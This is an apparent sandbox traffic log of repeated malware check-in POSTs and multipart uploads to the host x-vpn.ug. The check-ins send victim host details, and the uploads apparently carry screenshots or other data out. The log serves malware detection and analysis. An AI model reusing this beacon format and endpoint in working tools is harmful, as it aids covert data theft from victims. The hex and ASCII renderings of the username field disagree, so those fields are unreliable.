Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----e3cd68d0340c9501057cf59557b22e7dHost: x-vpn.ugContent-Length: 96889Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----e3cd68d0340c9501057cf59557b22e7dHost: x-vpn.ugContent-Length: 96889Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----3cd2c7e2f10e5b234c6d465da1720a11Host: x-vpn.ugContent-Length: 96729Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----3cd2c7e2f10e5b234c6d465da1720a11Host: x-vpn.ugContent-Length: 96729Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0827b34192ee9053c2713dfafb5576a4Host: x-vpn.ugContent-Length: 101177Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
